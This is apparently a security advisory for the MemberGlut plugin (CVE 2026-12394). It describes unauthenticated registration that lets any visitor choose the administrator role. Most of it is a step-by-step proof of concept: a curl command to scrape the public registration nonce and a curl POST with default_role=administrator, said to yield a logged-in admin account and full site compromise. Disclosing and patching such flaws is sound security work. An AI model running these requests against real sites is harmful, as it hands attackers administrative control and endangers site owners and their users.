MemberGlut < 1.1.5 – Unauthenticated Privilege Escalation to Administrator | CVE 2026-12394

Description

The plugin does not validate the role chosen during front-end registration, allowing unauthenticated users to register an account with an arbitrary role, including administrator, leading to full site compromise.

Proof of Concept

Prerequisites (the plugin's normal membership setup):
- A page published with the [memberglut_register_form] shortcode.
- User registration enabled (Settings > General > "Anyone can register"; on a multisite test bench, set the network "registration" option to allow new user registrations).

Steps:
1. As an unauthenticated visitor, GET the registration page and read the register_nonce value from the public form (it is rendered into the public form, so it is freely available to anonymous users):

   curl -sk 'https://TARGET/register/' | grep register_nonce

2. As an unauthenticated visitor, submit the registration choosing the administrator role:

   curl -k 'https://TARGET/register/' \
     --data-urlencode 'action=memberglut_register' \
     --data-urlencode 'register_nonce=NONCE' \
     --data-urlencode 'username=attacker_admin' \
     --data-urlencode 'email=attacker_admin@evil.test' \
     --data-urlencode 'password=Sup3rSecret!23' \
     --data-urlencode 'default_role=administrator'

3. Result: the account "attacker_admin" is created with the administrator role (manage_options) and is auto-logged-in. The response redirects with registration_success=1. The attacker now has full administrative control of the site.